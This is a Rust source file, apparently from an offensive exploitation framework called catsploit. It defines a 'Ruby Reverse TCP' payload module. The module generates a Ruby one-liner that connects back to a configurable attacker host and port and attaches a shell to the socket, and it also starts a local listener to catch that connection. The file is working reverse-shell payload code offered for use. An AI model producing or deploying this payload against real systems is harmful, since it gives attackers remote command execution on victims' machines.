catsploit_lib/module/payload/ruby/
ruby_reverse_tcp.rs1use crate::core::{
2 handler::generic_tcp_handler::GenericTcpHandler,
3 opt::Opt,
4 payload::{
5 reverse::{self, Reverse},
6 Info, Kind, Payload,
7 },
8};
9use std::error::Error;
10
11#[derive(Clone)]
12pub struct RubyReverseTcp {
13 pub reverse: Reverse,
14}
15
16impl Payload for RubyReverseTcp {
17 fn default() -> Self {
18 RubyReverseTcp {
19 reverse: Reverse::default(),
20 }
21 }
22
23 fn kind(&self) -> Kind {
24 Kind::ReverseShell
25 }
26
27 fn needs_pretask(&self) -> bool {
28 true
29 }
30
31 fn pretask(&self) -> Result<(), Box<dyn std::error::Error>> {
32 let mut handler = GenericTcpHandler::new("0.0.0.0", &self.reverse.lport)?;
33 handler.listen_for_one(false)?;
34 Ok(())
35 }
36
37 fn blob(&self) -> Vec<u8> {
38 let blob = format!(
39 r#"ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("{}",{}))'"#,
40 self.reverse.lhost, self.reverse.lport
41 );
42 blob.into_bytes()
43 }
44
45 fn info(&self) -> Info {
46 Info {
47 descriptive_name: "Ruby Reverse TCP".to_string(),
48 module_path: "payload/ruby/reverse_tcp".to_string(),
49 kind: self.kind().to_string(),
50 description: None,
51 license: None,
52 author: None,
53 references: None,
54 platform: None,
55 }
56 }
57
58 fn opts(&self) -> Vec<Opt> {
59 let mut opts: Vec<Opt> = Vec::new();
60 let mut reverse_opts = Reverse::opts();
61 opts.append(&mut reverse_opts);
62 opts
63 }
64
65 fn apply_opts(&mut self, opts: Vec<Opt>) -> Result<(), Box<dyn Error>> {
66 reverse::apply_opts!(self, opts);
67 Ok(())
68 }
69}